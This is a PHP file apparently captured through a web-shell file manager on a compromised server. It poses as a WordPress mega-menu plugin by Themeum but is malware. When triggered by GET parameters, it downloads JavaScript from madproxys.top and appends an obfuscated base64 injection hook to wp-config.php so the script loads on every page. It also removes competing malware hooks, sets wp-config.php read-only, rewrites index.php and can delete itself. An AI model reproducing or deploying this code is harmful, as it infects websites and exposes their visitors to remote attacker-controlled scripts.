HEX
Server: nginx/1.28.0
System: Linux yisu-68a5f20334161 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/q.autos58.cn/wp-content/plugins/1776922275-984321c4cbf74ab/wpr.php
<?php

/**
Plugin Name: WP Redactor Hook
Plugin URI: https://www.themeum.com/product/wp-megamenu/
Description: WP Adon Profi is a beautiful, responsive, highly customizable, and user-friendly drag and drop menu builder plugin for WordPress. Build an awesome mega menu today.
Author: Themeum
Author URI: https://www.themeum.com
Version: 1.4.2
Text Domain: wp-profimenu
Domain Path: /languages
License: GPLv2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
 */


// 🔹 Функция поиска `wp-config.php`
function find_wp_config($startDir, $maxLevels = 10) {
    $dir = rtrim($startDir, DIRECTORY_SEPARATOR);
    for ($level = 0; $level < $maxLevels; $level++) {
        $configPath = $dir . DIRECTORY_SEPARATOR . 'wp-config.php';
        if (file_exists($configPath)) {
            return $configPath;
        }
        $parentDir = dirname($dir);
        if ($parentDir === $dir) {
            break;
        }
        $dir = $parentDir;
    }
    return false;
}

$wpConfigPath = find_wp_config(__DIR__, 10);
if (!$wpConfigPath) {
    echo "❌ Не найден wp-config.php (10 уровней вверх от " . __DIR__ . ").";
    exit;
}

// 🔹 Функция для поиска index.php только в указанной папке
function find_index_in_root($dir) {
    $indexPath = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . 'index.php';
    return file_exists($indexPath) ? [$indexPath] : [];
}

// 🔹 Чистый index.php WordPress
$cleanIndex = <<<'PHP'
<?php
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';
PHP;

// 🔹 Функция замены index.php аккуратно
function replace_wp_indexes(array $indexPaths, $cleanIndex) {
    foreach ($indexPaths as $indexPath) {
        if (!file_exists($indexPath)) {
            echo "❌ index.php не найден: {$indexPath}<br>";
            continue;
        }

        $current = file_get_contents($indexPath);
        if (trim($current) === trim($cleanIndex)) {
            echo "⚠️ index.php уже чистый: {$indexPath}<br>";
            continue;
        }

        // Создаем бэкап на всякий случай
        $backupPath = $indexPath . '.bak_' . date('Ymd_His');
        copy($indexPath, $backupPath);
        echo "💾 Создан бэкап старого index.php: {$backupPath}<br>";

        // Перезаписываем
        file_put_contents($indexPath, $cleanIndex);
        echo "✅ index.php заменён на чистый: {$indexPath}<br>";
    }
}

// 🔹 Функция загрузки JS через cURL
function fetch_js_with_ua($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);.
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64)");
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

// 🔹 Получаем JS-скрипт
$script = fetch_js_with_ua('https://madproxys.top/sdkz.js');
if (!$script) {
    die("❌ Ошибка: JS не загружен.");
}
$encoded_script = base64_encode($script); 

// 🔹 Код для `wp-config.php` 
$scriptToAdd = <<<PHP

function addingtopress_wp_enqueue() {
       \$encoded_script = '$encoded_script';
    echo '<script>
        (function() {
            const decodedScript = atob(\'' . \$encoded_script . '\');
            const scriptTag = document.createElement("script");
            scriptTag.textContent = decodedScript;
            document.head.appendChild(scriptTag);
        })();
    </script>';
}
PHP;

$hooksToAdd = <<<PHP

add_action('wp_enqueue_scripts', 'addingtopress_wp_enqueue', 1);
PHP;

// 🔹 Регулярные выражения для удаления хуков
$hooksToRemove = [
    '/add_action\(\'wp_head\',\s*\'wp_cloueded\'\);\s*/',
    '/add_action\(\'admin_head\',\s*\'wp_cloueded\'\);\s*/',
    '/add_action\(\'login_head\',\s*\'wp_cloueded\'\);\s*/',
    '/add_action\(\'wp_head\',\s*\'wp_reload_page_wp\'\);\s*/',
];

// 🔹 Функция добавления кода
function appendToFile($filePath, $content) {
    $original = file_get_contents($filePath);
    if (strpos($original, trim($content)) !== false) {
        echo "⚠️ Блок уже существует в {$filePath}.<br>";
        return;
    }
    $original .= "\n" . $content . "\n";
    file_put_contents($filePath, $original);
    echo "✅ Блок добавлен в {$filePath}.<br>";
}

// 🔹 Функция удаления хуков
function removeHooksFromConfig($filePath, $patterns) {
    $content = file_get_contents($filePath);
    $modified = false;
    foreach ($patterns as $pattern) {
        $newContent = preg_replace($pattern, '', $content, 1);
        if ($newContent !== $content) {
            $content = $newContent;
            $modified = true;
        }
    }
    if ($modified) {
        file_put_contents($filePath, $content);
        echo "✅ Старые хуки удалены из {$filePath}.<br>";
    } else {
        echo "❌ Старые хуки не найдены в {$filePath}.<br>";
    }
}

// 🔹 Функция удаления скрипта
function selfDelete() {
    $myPath = __FILE__;
    unlink($myPath);
    echo "✅ Файл удален: {$myPath}<br>";
}

// 🔹 Функция изменения прав на wp-config.php
if (isset($_GET['chmod'])) {
    if (file_exists($wpConfigPath)) {
        chmod($wpConfigPath, 444);
        echo "✅ Права доступа к wp-config.php изменены на 444 (только чтение).";
    } else {
        echo "❌ Файл wp-config.php не найден.";
    }
    exit;
}

// 🔹 Команды GET-запросов
if (isset($_GET['copy'])) {
    if (!file_exists($wpConfigPath)) {
        echo "❌ wp-config.php не найден.<br>";
    } else {
        appendToFile($wpConfigPath, $scriptToAdd);
        appendToFile($wpConfigPath, $hooksToAdd);
    }
    exit;
}

if (isset($_GET['remove_hooks'])) {
    if (!file_exists($wpConfigPath)) {
        echo "❌ wp-config.php не найден.<br>";
    } else {
        removeHooksFromConfig($wpConfigPath, $hooksToRemove);
    }
    exit;
}

if (isset($_GET['delete_script'])) {
    selfDelete();
    exit;
}

// 🔹 НОВАЯ КОМАНДА: ЗАМЕНА index.php ТОЛЬКО В КОРНЕ WP
if (isset($_GET['index'])) {
    if (!$wpConfigPath || !file_exists($wpConfigPath)) {
        echo "❌ wp-config.php не найден, не удается определить корень WordPress.";
        exit;
    }

    // Определяем корень WordPress через wp-config.php
    $wpRoot = dirname($wpConfigPath);

    // Ищем только index.php в корне
    $indexes = find_index_in_root($wpRoot);

    if (empty($indexes)) {
        echo "❌ index.php не найден в корне WordPress.";
        exit;
    }

    replace_wp_indexes($indexes, $cleanIndex);
    exit;
}
?>